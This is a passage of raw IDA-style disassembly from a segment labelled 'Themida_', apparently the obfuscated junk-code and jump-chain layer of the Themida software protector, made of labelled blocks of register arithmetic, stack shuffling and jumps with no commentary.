; ---------------------------------------------------------------------------
loc_5A3E45: ; CODE XREF: Themida_:0059922Fj
mov esi, 68F09D3h
push 72ADh
jmp loc_59A706
; ---------------------------------------------------------------------------
loc_5A3E54: ; CODE XREF: Themida_:005A2373j
add ebp, 2E3A50B3h
shl ebp, 7
jmp loc_59FFAF
; ---------------------------------------------------------------------------
loc_5A3E62: ; CODE XREF: Themida_:0059CA5Fj
pop ebp
push ebx
mov ebx, 1A1B4C92h
add ebx, 0FFFFFFFFh
jmp loc_594C6B
; ---------------------------------------------------------------------------
loc_5A3E74: ; CODE XREF: Themida_:00599471j
push ebp
mov ebp, 3D202FE0h
add ebx, ebp
pop ebp
sub eax, ebx
pop ebx
shl eax, 7
jmp loc_595540
; ---------------------------------------------------------------------------
loc_5A3E88: ; CODE XREF: Themida_:0059DF91j
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov eax, edx
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push edi
push esp
jmp loc_592114
; ---------------------------------------------------------------------------
loc_5A3EC0: ; CODE XREF: Themida_:0059D5C7j
mov dl, 99h
sub ch, 9Fh
add ch, dl
add ch, 9Fh
mov dx, [esp]
add esp, 2
push ebx
mov bh, 3Ah
neg bh
add bh, 13h
or ch, bh
pop ebx
jmp loc_5A1EC2
; ---------------------------------------------------------------------------
loc_5A3EE1: ; CODE XREF: Themida_:00594DDEj
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
jmp loc_59604F
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
jmp loc_590961
; ---------------------------------------------------------------------------
loc_5A3EFE: ; CODE XREF: Themida_:0059E145j
mov ecx, 20E20D72h
push ecx
xchg ebx, [esp]
not ebx
jmp loc_59A621
; ---------------------------------------------------------------------------
loc_5A3F0E: ; CODE XREF: Themida_:00597ECEj
mov [esp], esi
mov esi, 49B97556h
push edx
jmp loc_590FDE
; ---------------------------------------------------------------------------
loc_5A3F1C: ; CODE XREF: Themida_:0059A7F1j
not edi
xor edi, 0E6CACA7Bh
mov ecx, edi
pop edi
mov esi, 0E078EB80h
jmp loc_5A2C16
; ---------------------------------------------------------------------------
loc_5A3F31: ; CODE XREF: Themida_:005A3362j
push dword ptr [esp]
jmp loc_5999FF
; ---------------------------------------------------------------------------
loc_5A3F39: ; CODE XREF: Themida_:005A3F6Aj
or ebx, 4C5946BBh
jmp loc_596A78
; ---------------------------------------------------------------------------
loc_5A3F44: ; CODE XREF: Themida_:0059D749j
pop edi
push ebx
jmp loc_5957B4
; ---------------------------------------------------------------------------
loc_5A3F4B: ; CODE XREF: Themida_:00591277j
add eax, 3CE37E3Eh
jmp loc_597C65
; ---------------------------------------------------------------------------
loc_5A3F55: ; CODE XREF: Themida_:00597043j
mov ebx, 271F5550h
add esi, ebx
pop ebx
or esi, 256E7293h
dec esi
push ebx
mov ebx, 7B853DC8h
jmp loc_5A3F39
; ---------------------------------------------------------------------------
loc_5A3F6F: ; CODE XREF: Themida_:005A0AB1j
sub dh, bh
jmp loc_597DD2
; ---------------------------------------------------------------------------
loc_5A3F76: ; CODE XREF: Themida_:005A4E9Dj
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_59CDBE
; ---------------------------------------------------------------------------
mov eax, [esp]
push edi
mov edi, esp
jmp loc_5A18C3
; ---------------------------------------------------------------------------
loc_5A3F92: ; CODE XREF: Themida_:00599EDEj
dec ch
xor ch, 53h
push ax
jmp loc_590645
; ---------------------------------------------------------------------------
loc_5A3F9E: ; CODE XREF: Themida_:0059DE52j
mov bl, 4Bh
push ecx
mov ch, 80h
add bl, ch
mov ecx, [esp]
add esp, 4
mov ah, bl
mov ebx, [esp]
add esp, 4
and ah, 0B3h
jmp loc_595E1B
; ---------------------------------------------------------------------------
loc_5A3FBE: ; CODE XREF: Themida_:005A0195j
sub esp, 4
mov [esp], esi
push edi
push 1E6D43A1h
pop edi
sub edi, 0E760105h
add edi, 19531CC0h
mov esi, edi
pop edi
xor eax, esi
pop esi
add esi, eax
pop eax
push ecx
mov ecx, 2
jmp loc_59E0C2
; ---------------------------------------------------------------------------
loc_5A3FEB: ; CODE XREF: Themida_:0059D2A7j
add esp, 4
jmp loc_5A471C
; ---------------------------------------------------------------------------
loc_5A3FF6: ; CODE XREF: Themida_:005926CCj
add al, 11h
push edx
jmp loc_5990D1
; ---------------------------------------------------------------------------
loc_5A3FFE: ; CODE XREF: Themida_:0059F552j
sub al, 8Ah
pop edx
push ecx
push ebx
mov bh, 1Ch
jmp loc_59EABE
; ---------------------------------------------------------------------------
loc_5A400A: ; CODE XREF: Themida_:005A375Dj
push 501h
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_5A1B5C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A402A: ; CODE XREF: Themida_:0059C601j
push edx
mov edx, 74014765h
shr edx, 6
jmp loc_5A3AEC
; ---------------------------------------------------------------------------
loc_5A4038: ; CODE XREF: Themida_:0059099Cj
add edi, 47223193h
pop edx
push esi
mov esi, 4
jmp loc_591240
; ---------------------------------------------------------------------------
loc_5A404A: ; CODE XREF: Themida_:0059BACBj
xchg edi, [esp]
pop esp
pop ebp
add ebp, esi
mov esi, [esp]
jmp loc_59C4BE
; ---------------------------------------------------------------------------
loc_5A4059: ; CODE XREF: Themida_:0059FB4Aj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_5A0C66
; ---------------------------------------------------------------------------
loc_5A4072: ; CODE XREF: Themida_:005A1E9Dj
mov esp, [esp]
xchg edi, [esp]
jmp loc_5978EB
; ---------------------------------------------------------------------------
loc_5A407D: ; CODE XREF: Themida_:0059C76Cj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebp
mov ebp, 3E593BFFh
sub ebp, 1E8E39D3h
jmp loc_595251
; ---------------------------------------------------------------------------
loc_5A409E: ; CODE XREF: Themida_:005931A6j
sub eax, 5244A79h
push ecx
mov ecx, 73EC11EAh
xor eax, ecx
jmp loc_5905A6
; ---------------------------------------------------------------------------
loc_5A40B0: ; CODE XREF: Themida_:00592108j
xor dl, 0A8h
add al, dl
mov edx, [esp]
add esp, 4
push ecx
mov cl, 0CDh
shr cl, 2
xor cl, 58h
shl cl, 3
sub cl, 0FFh
dec cl
push eax
mov ah, 9Fh
add cl, 69h
sub cl, ah
jmp loc_597698
; ---------------------------------------------------------------------------
loc_5A40D9: ; CODE XREF: Themida_:00594B2Aj
push edx
mov edx, 344B40A1h
jmp loc_591367
; ---------------------------------------------------------------------------
loc_5A40E4: ; CODE XREF: Themida_:0059B33Aj
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_59C339
; ---------------------------------------------------------------------------
loc_5A40F4: ; CODE XREF: Themida_:005A3E26j
mov ebp, 32413E22h
shr ebp, 5
add ebp, 1DFD3842h
add ebx, ebp
mov ebp, [esp]
add esp, 4
add ebx, esi
sub ebx, 1F8F4233h
jmp loc_5A3012
; ---------------------------------------------------------------------------
loc_5A411A: ; CODE XREF: Themida_:0059E393j
add esp, 4
push esi
mov esi, 9144D2Bh
push ecx
mov ecx, 1E3C5B8Ch
inc ecx
jmp loc_592620
; ---------------------------------------------------------------------------
loc_5A412F: ; CODE XREF: Themida_:00590A2Cj
sub ebp, edi
pop edi
add ebp, 20D0641Ah
push ecx
mov ecx, 0A657193Fh
jmp loc_5A4450
; ---------------------------------------------------------------------------
loc_5A4143: ; CODE XREF: Themida_:005917FDj
mov [esp], ecx
push 6FEDh
mov [esp], esp
jmp loc_5A028E
; ---------------------------------------------------------------------------
loc_5A4153: ; CODE XREF: Themida_:00592A94j
add eax, 5D8D2EC8h
sub eax, esi
sub eax, 5D8D2EC8h
add eax, 1E220A3Dh
mov esi, [esp]
push ebp
push esp
pop ebp
push edi
mov edi, 0C602F52h
shr edi, 7
not edi
jmp loc_5A036A
; ---------------------------------------------------------------------------
loc_5A417A: ; CODE XREF: Themida_:005908CFj
pop eax
add edi, ebp
sub edi, 1C2E5E81h
push dword ptr [esp]
pop ebp
jmp loc_5909FD
; ---------------------------------------------------------------------------
loc_5A418C: ; CODE XREF: Themida_:00597349j
sub ecx, 7020B8Ch
add ecx, edi
add ecx, 7020B8Ch
push dword ptr [ecx]
jmp loc_592944
; ---------------------------------------------------------------------------
loc_5A41A1: ; CODE XREF: Themida_:00596783j
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5A3947
; ---------------------------------------------------------------------------
loc_5A41B4: ; CODE XREF: Themida_:005A1CBCj
pop esi
jmp loc_5A05C3
; ---------------------------------------------------------------------------
loc_5A41BA: ; CODE XREF: Themida_:00593F4Ej
mov ebp, [esp]
push edx
mov edx, esp
jmp loc_5A0412
; ---------------------------------------------------------------------------
loc_5A41C5: ; CODE XREF: Themida_:00595231j
shr esi, 5
jmp loc_593D3A
; ---------------------------------------------------------------------------
loc_5A41CD: ; CODE XREF: Themida_:005996EBj
push dword ptr [esp]
pop edx
push 37D6h
mov [esp], eax
mov eax, esp
sub esp, 4
mov [esp], esi
mov esi, 6A336FECh
inc esi
inc esi
shr esi, 2
push ecx
jmp loc_593747
; ---------------------------------------------------------------------------
loc_5A41F1: ; CODE XREF: Themida_:00590761j
mov [esp], ebp
mov ebp, 155E4288h
jmp loc_5A1BAC
; ---------------------------------------------------------------------------
loc_5A41FE: ; CODE XREF: Themida_:0059CF21j
add ch, 91h
push ax
mov ah, 9Ah
add ch, 90h
jmp loc_5A1DA9
; ---------------------------------------------------------------------------
loc_5A420D: ; CODE XREF: Themida_:0059ECE1j
pop ebx
jmp loc_59AE95
; ---------------------------------------------------------------------------
loc_5A4213: ; CODE XREF: Themida_:0059CB11j
pop edx
add edx, 4
add edx, 4
jmp loc_59F51E
; ---------------------------------------------------------------------------
loc_5A4222: ; CODE XREF: Themida_:0059C95Bj
push 56A9h
mov [esp], ebx
mov ebx, 4
push ecx
jmp loc_595835
; ---------------------------------------------------------------------------
loc_5A4235: ; CODE XREF: Themida_:00598E65j
and ecx, edi
mov edi, [esp]
add esp, 4
sub ecx, 0E1682632h
mov eax, ecx
pop ecx
jmp loc_5952CB
; ---------------------------------------------------------------------------
loc_5A424E: ; CODE XREF: Themida_:00599356j
sub ebx, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_599383
; ---------------------------------------------------------------------------
loc_5A4268: ; CODE XREF: Themida_:0059517Bj
pop dx
sub cl, ah
sub cl, 0B0h
pop ax
and cl, 0BEh
push edx
mov dl, 0BFh
shr dl, 7
sub esp, 4
mov [esp], ecx
jmp loc_59CF1B
; ---------------------------------------------------------------------------
loc_5A4285: ; CODE XREF: Themida_:00598CC2j
mov dh, 0D4h
push bx
mov bh, 26h
sub dh, bh
pop bx
inc dh
sub dh, 0A5h
sub ch, dh
mov dx, [esp]
jmp loc_5A47D3
; ---------------------------------------------------------------------------
loc_5A429F: ; CODE XREF: Themida_:005A0E56j
mov edi, [esp]
jmp loc_5946E7
; ---------------------------------------------------------------------------
loc_5A42A7: ; CODE XREF: Themida_:00591349j
mov esi, 7F526137h
or esi, 2C283521h
not esi
jmp loc_593845
; ---------------------------------------------------------------------------
loc_5A42B9: ; CODE XREF: Themida_:005933C7j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A43A8
; ---------------------------------------------------------------------------
loc_5A42C8: ; CODE XREF: Themida_:00596D08j
push esi
mov esi, 4CC568C9h
xor esi, 6ECE3F84h
sub esi, 0FFF22562h
add ebx, esi
pop esi
add ebx, ebp
sub ebx, 221931EBh
jmp loc_5A2EEE
; ---------------------------------------------------------------------------
loc_5A42EA: ; CODE XREF: Themida_:005A5426j
push ebx
push 14E5h
jmp loc_596B55
; ---------------------------------------------------------------------------
loc_5A42F5: ; CODE XREF: Themida_:005910B8j
pop esp
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov cx, [esp]
push edi
mov edi, esp
push eax
mov eax, 4
add edi, eax
pop eax
sub edi, 4
jmp loc_59A4E3
; ---------------------------------------------------------------------------
loc_5A431D: ; CODE XREF: Themida_:005A3475j
pop esp
pop dword ptr [esp]
pop esp
push 4942h
mov [esp], ecx
push 6119h
mov [esp], eax
push 199Dh
jmp loc_59D7BE
; ---------------------------------------------------------------------------
loc_5A433C: ; CODE XREF: Themida_:005973E0j
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
mov ch, 7
neg ch
jmp loc_59EB18
; ---------------------------------------------------------------------------
loc_5A434F: ; CODE XREF: Themida_:005A4D31j
mov ebp, 231439EBh
shl ebp, 8
add ebp, 5F540316h
and ebp, 4284347Eh
push esi
mov esi, 42842414h
sub ebp, esi
pop esi
add esi, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
push ebp
mov ebp, 67101CD7h
add ebp, 98EFE32Dh
add ebx, ebp
pop ebp
jmp loc_59B241
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], ecx
push ebx
mov ebx, 29580308h
mov ecx, 4D322809h
sub ecx, ebx
pop ebx
push ebx
mov ebx, 5A5A7B9Bh
jmp loc_5A185C
; ---------------------------------------------------------------------------
loc_5A43A8: ; CODE XREF: Themida_:005A42C3j
pop edi
add edi, 4
sub esp, 4
mov [esp], ebx
mov ebx, 57DF3257h
push esi
mov esi, 57DF3253h
sub ebx, esi
pop esi
add edi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_592CA4
; ---------------------------------------------------------------------------
loc_5A43D3: ; CODE XREF: Themida_:005927D4j
mov esp, [esp]
mov ax, [esp]
sub esp, 4
mov [esp], ebx
push esp
pop ebx
push ebp
mov ebp, 1E025917h
dec ebp
jmp loc_5941C7
; ---------------------------------------------------------------------------
loc_5A43EE: ; CODE XREF: Themida_:00591B78j
sub ebp, 661F4A59h
sub ebp, edi
jmp loc_59CB91
; ---------------------------------------------------------------------------
loc_5A43FB: ; CODE XREF: Themida_:00594DCDj
mov edx, [esp]
jmp loc_5A10C0
; ---------------------------------------------------------------------------
loc_5A4403: ; CODE XREF: Themida_:0059C8DFj
mov [esp], eax
jmp loc_591B1E
; ---------------------------------------------------------------------------
loc_5A440B: ; CODE XREF: Themida_:0059AC85j
sub edi, 4
xchg edi, [esp]
jmp loc_59859E
; ---------------------------------------------------------------------------
loc_5A4419: ; CODE XREF: Themida_:0059F021j
mov edi, [esp]
add esp, 4
push 3045h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_598338
; ---------------------------------------------------------------------------
loc_5A4437: ; CODE XREF: Themida_:00599881j
push ebx
mov ebx, 700317B8h
push edi
push ecx
mov ecx, 0F865120h
inc ecx
xor ecx, 135C0127h
jmp loc_591526
; ---------------------------------------------------------------------------
loc_5A4450: ; CODE XREF: Themida_:005A413Ej
sub ebp, ecx
pop ecx
add edx, ebp
pop ebp
push 2817h
mov [esp], ebx
jmp loc_590FCE
; ---------------------------------------------------------------------------
loc_5A4463: ; CODE XREF: Themida_:005A2BDFj
add ebx, ebp
pop ebp
push 7B27h
mov [esp], ebp
push ecx
jmp loc_5A51F5
; ---------------------------------------------------------------------------
loc_5A4474: ; CODE XREF: Themida_:00591970j
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5907DC
; ---------------------------------------------------------------------------
loc_5A4480: ; CODE XREF: Themida_:0059BB29j
push esi
push edi
mov edi, 5C881A05h
mov esi, edi
pop edi
sub ebx, esi
jmp loc_596B03
; ---------------------------------------------------------------------------
loc_5A4491: ; CODE XREF: Themida_:0059C749j
add ebx, 34DC3C59h
sub ebx, 7FFE67CAh
add ebx, 1AF8356Eh
and ebx, 7EC9485Dh
shr ebx, 8
push edx
mov edx, 513E149Bh
jmp loc_590C46
; ---------------------------------------------------------------------------
loc_5A44B7: ; CODE XREF: Themida_:00594EC8j
sub [esp+4], ecx
push edi
mov edi, 2914706Bh
add [esp+8], edi
pop edi
sub dword ptr [esp+4], 4FE157EDh
jmp loc_59DDE8
; ---------------------------------------------------------------------------
loc_5A44D3: ; CODE XREF: Themida_:0059A32Cj
mov [esp], edx
push 8A90CF6h
pop edx
not edx
push edx
neg dword ptr [esp]
pop edx
jmp loc_594DB2
; ---------------------------------------------------------------------------
loc_5A44E8: ; CODE XREF: Themida_:0059500Bj
mov ebx, [esp]
jmp loc_594ECD
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_5979F1
; ---------------------------------------------------------------------------
loc_5A44F7: ; CODE XREF: Themida_:0059F8B3j
or edi, 2950594Fh
sub edi, 8442DBA9h
and ebx, edi
push dword ptr [esp]
pop edi
add esp, 4
add ebx, 15022A33h
sub edx, ebx
mov ebx, [esp]
add esp, 4
add edx, ebx
push ebx
push eax
mov eax, 1E962AD9h
jmp loc_5A1212
; ---------------------------------------------------------------------------
loc_5A452E: ; CODE XREF: Themida_:005A5310j
dec ecx
not ecx
shl ecx, 3
sub ecx, 78573116h
jmp loc_59C846
; ---------------------------------------------------------------------------
loc_5A453F: ; CODE XREF: Themida_:005A5654j
mov ebx, eax
pop eax
add ebp, ebx
pop ebx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
add eax, 731C4B1Dh
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_5A3B5B
; ---------------------------------------------------------------------------
loc_5A4567: ; CODE XREF: Themida_:00592784j
push eax
mov eax, 99F2EFFh
xor eax, 0E220EBDh
push ecx
mov ecx, 37E71D02h
add ecx, 479A1E23h
add ebx, ecx
jmp loc_5932C7
; ---------------------------------------------------------------------------
loc_5A4585: ; CODE XREF: Themida_:00594F16j
push ecx
jmp loc_5A3454
; ---------------------------------------------------------------------------
db 0ACh
dd 0FFBE26E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5A4591: ; CODE XREF: Themida_:005A2EBFj
push esp
pop ebp
push edi
mov edi, 4
add ebp, edi
pop edi
add ebp, 4
sub esp, 4
mov [esp], ebp
jmp loc_593A8F
; ---------------------------------------------------------------------------
loc_5A45AD: ; CODE XREF: Themida_:0059F521j
pop esp
shr eax, 18h
xor eax, ecx
jmp loc_594B6F
; ---------------------------------------------------------------------------
loc_5A45B8: ; CODE XREF: Themida_:0059FEE0j
mov esi, 4
add ecx, esi
pop esi
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
jmp loc_5A150B
; ---------------------------------------------------------------------------
loc_5A45D2: ; CODE XREF: Themida_:0059FDE7j
push esi
pop eax
mov ebp, eax
pop eax
mov esi, [esp]
jmp loc_5A51E4
; ---------------------------------------------------------------------------
loc_5A45DF: ; CODE XREF: Themida_:005A0665j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_590448
; ---------------------------------------------------------------------------
loc_5A45F4: ; CODE XREF: Themida_:00592CEFj
push eax
mov eax, ebx
mov edx, eax
jmp loc_5A1101
; ---------------------------------------------------------------------------
mov cx, [esp]
push 25CFh
mov [esp], eax
push esp
jmp loc_597322
; ---------------------------------------------------------------------------
loc_5A4610: ; CODE XREF: Themida_:00595728j
pop eax
jmp loc_59D419
; ---------------------------------------------------------------------------
loc_5A4616: ; CODE XREF: Themida_:005912B2j
push 2674362Bh
push dword ptr [esp]
pop ebx
add esp, 4
and ebx, 566C048Ah
jmp loc_59FBCF
; ---------------------------------------------------------------------------
loc_5A462D: ; CODE XREF: Themida_:005974D5j
push esp
jmp loc_59D3E3
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
sub eax, ebx
pop ebx
xchg eax, [esp]
pop esp
mov [esp], edx
push eax
push 3CDE1B36h
pop eax
shr eax, 2
jmp loc_59EE69
; ---------------------------------------------------------------------------
loc_5A4662: ; CODE XREF: Themida_:0059C796j
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_598A84
; ---------------------------------------------------------------------------
loc_5A4675: ; CODE XREF: Themida_:00599BE3j
shr ebp, 1
inc ebp
shr ebp, 4
add ebp, 2602BEB7h
add ecx, 0A2E2737h
jmp loc_596843
; ---------------------------------------------------------------------------
loc_5A468C: ; CODE XREF: Themida_:00590CDEj
xor [esp], cx
xor cx, [esp]
xor [esp], cx
mov dx, [esp]
add esp, 2
jmp loc_59DBC4
; ---------------------------------------------------------------------------
loc_5A46A4: ; CODE XREF: Themida_:0059B490j
mov eax, esi
pop esi
sub ebx, eax
jmp loc_59598A
; ---------------------------------------------------------------------------
loc_5A46AE: ; CODE XREF: Themida_:00596F3Fj
pop esp
add esi, 4
push 5B0Bh
mov [esp], edx
mov edx, 4
add esi, edx
pop edx
push ebx
jmp loc_5A121C
; ---------------------------------------------------------------------------
loc_5A46CB: ; CODE XREF: Themida_:00596F9Cj
mov ch, bl
mov al, ch
pop ecx
jmp loc_59EB87
; ---------------------------------------------------------------------------
loc_5A46D5: ; CODE XREF: Themida_:005A1544j
xor ecx, eax
pop eax
and eax, ecx
pop ecx
or eax, eax
jz loc_5A541E
push dword ptr [edi+28h]
push dword ptr [esp]
mov eax, [esp]
push ebx
mov ebx, esp
push edi
mov edi, 87F5EB7h
or edi, 3BFA3662h
and edi, 6E4D5044h
dec edi
jmp loc_5A2151
; ---------------------------------------------------------------------------
loc_5A4707: ; CODE XREF: Themida_:005A2C88j
mov eax, edx
jmp loc_59EF6D
; ---------------------------------------------------------------------------
loc_5A470E: ; CODE XREF: Themida_:005A0E06j
add edi, 5703C8h
sub ebp, edi
pop edi
jmp loc_5A0A8A
; ---------------------------------------------------------------------------
loc_5A471C: ; CODE XREF: Themida_:005A3FF1j
push esi
jmp loc_5A0C83
; ---------------------------------------------------------------------------
loc_5A4722: ; CODE XREF: Themida_:00598301j
push ebx
mov ebx, 0D7255E6h
shl ebx, 8
shl ebx, 5
xor ebx, 0A908607h
xor ecx, ebx
pop ebx
mov eax, ecx
pop ecx
sub ebx, 65726378h
add ebx, eax
push 4FBDh
mov [esp], esi
mov esi, 60F241CCh
shl esi, 1
shl esi, 8
sub esi, 0FFFFFFFFh
sub esi, 0E6567Ch
jmp loc_59D0B9
; ---------------------------------------------------------------------------
loc_5A4762: ; CODE XREF: Themida_:00594648j
xor [esp], ecx
xor ecx, [esp]
jmp loc_5993B0
; ---------------------------------------------------------------------------
loc_5A476D: ; CODE XREF: Themida_:005914A3j
pop edx
sub ebp, ecx
pop ecx
sub esp, 4
mov [esp], ebp
pop edx
mov ebp, [esp]
add esp, 4
sub ebx, edx
push dword ptr [esp]
jmp loc_59D4E8
; ---------------------------------------------------------------------------
loc_5A4788: ; CODE XREF: Themida_:0059F360j
xchg ebx, [esp]
jmp loc_59116B
; ---------------------------------------------------------------------------
loc_5A4790: ; CODE XREF: Themida_:005A21B8j
sub bl, 0Ch
jmp loc_59499C
; ---------------------------------------------------------------------------
loc_5A4798: ; CODE XREF: Themida_:005925FFj
mov eax, ebx
pop ebx
push ebp
mov ebp, 46FD1BA5h
sub ebp, 2AD73D78h
sub ebp, 0F2D09895h
jmp loc_593618
; ---------------------------------------------------------------------------
loc_5A47B2: ; CODE XREF: Themida_:0059A40Cj
not edx
sub edx, 8896B585h
sub ecx, edx
mov edx, [esp]
add esp, 4
not ecx
or ecx, 54266583h
not ecx
inc ecx
push eax
jmp loc_5990A9
; ---------------------------------------------------------------------------
loc_5A47D3: ; CODE XREF: Themida_:005A429Aj
add esp, 2
push eax
mov al, 11h
sub bl, al
pop eax
add bl, ch
jmp loc_59F41D
; ---------------------------------------------------------------------------
loc_5A47E6: ; CODE XREF: Themida_:005A0484j
sub eax, 2CCCB501h
mov esi, eax
pop eax
jmp loc_597E4D
; ---------------------------------------------------------------------------
loc_5A47F3: ; CODE XREF: Themida_:0059FB41j
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push ecx
mov ecx, 5FA86425h
push ecx
dec dword ptr [esp]
pop ecx
jmp loc_596765
; ---------------------------------------------------------------------------
loc_5A480F: ; CODE XREF: Themida_:0059846Cj
add ebx, edx
mov edx, [esp]
add esp, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_5A5192
; ---------------------------------------------------------------------------
loc_5A482B: ; CODE XREF: Themida_:005A34F1j
dec ebp
shl ebp, 5
jmp loc_598073
; ---------------------------------------------------------------------------
loc_5A4834: ; CODE XREF: Themida_:0059BF4Fj
push edi
mov edi, 599724F6h
xor [esp+4], edi
pop edi
mov edx, [esp]
push esi
jmp loc_59FC04
; ---------------------------------------------------------------------------
loc_5A4848: ; CODE XREF: Themida_:005960B6j
xor al, bl
push 5C08h
jmp loc_599566
; ---------------------------------------------------------------------------
loc_5A4854: ; CODE XREF: Themida_:00598A14j
push 888h
mov [esp], eax
push edx
jmp loc_594F1B
; ---------------------------------------------------------------------------
loc_5A4862: ; CODE XREF: Themida_:00593159j
add edx, ecx
pop ecx
xor edx, 0C8BC2A0Eh
and ebx, edx
mov edx, [esp]
add esp, 4
sub ebx, 27B0389Fh
jmp loc_59079B
; ---------------------------------------------------------------------------
loc_5A487E: ; CODE XREF: Themida_:005941C2j
pop esp
jmp loc_59EC65
; ---------------------------------------------------------------------------
loc_5A4884: ; CODE XREF: Themida_:00596B69j
sub edi, 281803FCh
push edi
add dword ptr [esp], 648550B7h
pop ebx
jmp loc_5A2771
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop edx
jmp loc_594B2F
; ---------------------------------------------------------------------------
loc_5A48A1: ; CODE XREF: Themida_:00591F18j
pop eax
dec dh
xor dh, 35h
add cl, dh
pop edx
sub esp, 4
mov [esp], eax
mov al, cl
push eax
mov ah, bl
mov cl, ah
pop eax
mov bl, al
pop eax
xchg al, bl
not al
xchg al, bl
push 4E83h
mov [esp], edx
mov dl, 0D9h
xor bl, dl
jmp loc_5994D0
; ---------------------------------------------------------------------------
loc_5A48D2: ; CODE XREF: Themida_:005981E4j
mov edi, eax
mov esi, edi
pop edi
pop eax
sub [esp+4], esi
jmp loc_59653D
; ---------------------------------------------------------------------------
loc_5A48E1: ; CODE XREF: Themida_:0059132Bj
shr ebp, 6
or ebp, 66E310D4h
add ebp, 57FD7E0Bh
sub ebp, 439C00F7h
sub edx, ebp
pop ebp
jmp loc_59EDD3
; ---------------------------------------------------------------------------
loc_5A48FE: ; CODE XREF: Themida_:0059E478j
push dword ptr [esp+4]
pop eax
jmp loc_59AED8
; ---------------------------------------------------------------------------
loc_5A4908: ; CODE XREF: Themida_:0059E8C9j
push 0D4Fh
mov [esp], ebx
mov ebx, 777A1EC7h
jmp loc_590618
; ---------------------------------------------------------------------------
loc_5A491A: ; CODE XREF: Themida_:005944EAj
mov edx, 635B6DCCh
inc edx
add edx, 0E0FDBC94h
shr edx, 5
jmp loc_59A1E8
; ---------------------------------------------------------------------------
loc_5A492E: ; CODE XREF: Themida_:005985CFj
push edx
jmp loc_5A0FE7
; ---------------------------------------------------------------------------
loc_5A4934: ; CODE XREF: Themida_:005935F8j
add dword ptr [esp+4], 2A460F2Bh
add dword ptr [esp+4], 503A6D81h
sub [esp+4], esi
sub dword ptr [esp+4], 503A6D81h
jmp loc_598F68
; ---------------------------------------------------------------------------
loc_5A4955: ; CODE XREF: Themida_:00599D4Bj
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 69310FF6h
mov ebp, ecx
jmp loc_5A1732
; ---------------------------------------------------------------------------
loc_5A4968: ; CODE XREF: Themida_:00599433j
push dword ptr [esp]
pop ebx
push ecx
mov ecx, esp
add ecx, 4
push edx
mov edx, 4
jmp loc_5A0BD3
; ---------------------------------------------------------------------------
loc_5A4980: ; CODE XREF: Themida_:0059DF29j
sub esp, 4
mov [esp], ecx
mov ecx, esp
push esi
mov esi, 52663A71h
shl esi, 6
not esi
not esi
dec esi
xor esi, 998E9C3Bh
add ecx, esi
pop esi
add ecx, 4
jmp loc_59A39D
; ---------------------------------------------------------------------------
loc_5A49A7: ; CODE XREF: Themida_:005A1167j
mov edx, 6A7A7852h
shl edx, 1
xor edx, 0D4F4F0A6h
jmp loc_59D3EF
; ---------------------------------------------------------------------------
loc_5A49B9: ; CODE XREF: Themida_:005A37E7j
mov [esp], esi
mov esi, esp
jmp loc_59D1D4
; ---------------------------------------------------------------------------
loc_5A49C3: ; CODE XREF: Themida_:00593807j
pop eax
add esp, 4
mov esi, [esp]
add esp, 4
jmp loc_5A29FD
; ---------------------------------------------------------------------------
loc_5A49D5: ; CODE XREF: Themida_:005A254Bj
add esp, 4
jmp loc_598A98
; ---------------------------------------------------------------------------
loc_5A49DD: ; CODE XREF: Themida_:00598060j
xchg ebx, [esp]
pop esp
jmp loc_59F772
; ---------------------------------------------------------------------------
loc_5A49E6: ; CODE XREF: Themida_:005A03CDj
add ebx, eax
sub esp, 4
jmp loc_59A11F
; ---------------------------------------------------------------------------
loc_5A49F3: ; CODE XREF: Themida_:00598599j
mov ah, 1Bh
push edx
mov dh, ah
mov bh, dh
pop edx
jmp loc_5942BE
; ---------------------------------------------------------------------------
loc_5A4A00: ; CODE XREF: Themida_:005A1941j
push 61F4h
push esp
jmp loc_5972DB
; ---------------------------------------------------------------------------
loc_5A4A0B: ; CODE XREF: Themida_:00598494j
pop ebx
push ebx
mov ebx, 68D703A8h
push edi
jmp loc_59C613
; ---------------------------------------------------------------------------
loc_5A4A18: ; CODE XREF: Themida_:00593B81j
sub ebx, 59AA48F1h
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_5928F9
; ---------------------------------------------------------------------------
